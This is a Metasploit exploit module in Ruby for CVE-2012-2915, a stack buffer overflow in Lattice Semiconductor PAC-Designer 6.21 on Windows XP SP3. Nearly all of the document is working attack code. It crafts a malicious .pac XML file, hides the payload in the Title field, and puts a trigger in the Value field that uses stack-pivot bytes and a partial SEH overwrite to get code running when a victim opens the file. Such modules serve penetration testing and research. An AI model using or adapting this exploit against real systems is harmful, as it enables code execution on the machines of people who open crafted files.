Lattice Semiconductor PAC-Designer 6.21 - Symbol Value Buffer Overflow (Metasploit)

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info={})
		super(update_info(info,
			'Name'           => "Lattice Semiconductor PAC-Designer 6.21 Symbol Value Buffer Overflow",
			'Description'    => %q{
					This module exploits a vulnerability found in Lattice Semiconductor PAC-Designer
				6.21.  As a .pac file, when supplying a long string of data to the 'value' field
				under the 'SymbolicSchematicData' tag, it is possible to cause a memory corruption
				on the stack, which results in arbitrary code execution under the context of the
				user.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Unknown',      #Discovery
					'juan vazquez', #Metasploit
					'sinn3r'        #Metasploit
				],
			'References'     =>
				[
					['CVE', '2012-2915'],
					['OSVDB', '82001'],
					['EDB', '19006'],
					['BID', '53566'],
					['URL', 'http://secunia.com/advisories/48741']
				],
			'Payload'        =>
				{
					'BadChars' => "\x00\x3c\x3e",
					'StackAdjustment' => -3500,
				},
			'DefaultOptions'  =>
				{
					'ExitFunction' => "seh"
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[
						'PAC-Designer 6.21 on Windows XP SP3',
						{
							# P/P/R in PACD621.exe
							# ASLR: False, Rebase: False, SafeSEH: False, OS: False
							'Ret' => 0x00805020
						}
					],
				],
			'Privileged'     => false,
			'DisclosureDate' => "May 16 2012",
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME', [true, 'The filename', 'msf.pac'])
			], self.class)
	end

	def exploit
		# The payload is placed in the <title> field
		p = payload.encoded

		# The trigger is placed in the <value> field, which will jmp to our
		# payload in the <title> field.
		buf  = "\x5f"    #POP EDI
		buf << "\x5f"    #POP EDI
		buf << "\x5c"    #POP ESP
		buf << "\x61"*6  #POPAD x 6
		buf << "\x51"    #PUSH ECX
		buf << "\xc3"    #RET
		buf << rand_text_alpha(96-buf.length, payload_badchars)
		buf << "\xeb\x9e#{rand_text_alpha(2, payload_badchars)}"  #Jmp back to the beginning of the buffer
		buf << [target.ret].pack('V')[0,3] # Partial overwrite

		xml = %Q|<?xml version="1.0"?>
<PacDesignData>
	<DocFmtVersion>1</DocFmtVersion>
	<DeviceType>ispPAC-CLK5410D</DeviceType>
	<CreatedBy>PAC-Designer 6.21.1336</CreatedBy>
	<SummaryInformation>
		<Title>#{p}</Title>
		<Author>#{Rex::Text.rand_text_alpha(6)}</Author>
	</SummaryInformation>

	<SymbolicSchematicData>
		<Symbol>
			<SymKey>153</SymKey>
			<NameText>Profile 0 Ref Frequency</NameText>
			<Value>#{buf}</Value>
		</Symbol>
	</SymbolicSchematicData>
</PacDesignData>|

		file_create(xml)
	end
end